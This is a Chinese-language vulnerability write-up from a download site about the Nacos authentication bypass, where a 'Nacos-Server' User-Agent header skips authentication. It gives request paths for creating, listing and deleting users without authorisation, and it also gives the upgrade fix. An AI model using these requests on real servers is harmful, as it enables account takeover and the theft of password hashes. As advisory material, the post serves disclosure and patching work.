快盘下载:好资源、好软件、快快下载吧!

快盘排行|快盘最新

当前位置:首页软件教程电脑软件教程 → NACOS身份认证绕过

NACOS身份认证绕过

时间:2022-09-28 09:56:08人气:作者:快盘下载我要评论

一、漏洞描述

Nacos是Alibaba的一个动态服务发现、配置和服务管理平台。攻击者通过添加Nacos-Server的User-Agent头部将可绕过;nacos.core.auth.enabled=true;鉴权认证;从而进行API操作。

NACOS身份认证绕过

二、漏洞利用

访问http://xxxxx/nacos/v1/auth/users?username=test&password=test ;并使用burpsuite进行抓包;将方法改为POST;返回“create user ok”即可未授权创建一个test/test的用户;使用创建用户即可登入系统

访问http://xxxxxxx/nacos/v1/auth/users?pageNo=1&pageSize=999 即可获取当前nacos系统存在的用户以及加密后的密码。
NACOS身份认证绕过

访问http://xxxxxxxx/nacos/v1/auth/users?username=test;并使用burpsuite进行抓包;将方法改为DELETE;返回“delete user ok”即可未授权删除test的用户
NACOS身份认证绕过

三、漏洞修复

升级nacos至1.4.1以上;建议升级至最新版本。修改conf/application.properties字段。

仅供学习参考使用;;若厂商有使用此版本;自行查验;及时联系官方进行更新;;

网友评论

快盘下载暂未开通留言功能。

关于我们| 广告联络| 联系我们| 网站帮助| 免责声明| 软件发布

Copyright 2019-2029 【快快下载吧】 版权所有 快快下载吧 | 豫ICP备10006759号公安备案:41010502004165

声明: 快快下载吧上的所有软件和资料来源于互联网,仅供学习和研究使用,请测试后自行销毁,如有侵犯你版权的,请来信指出,本站将立即改正。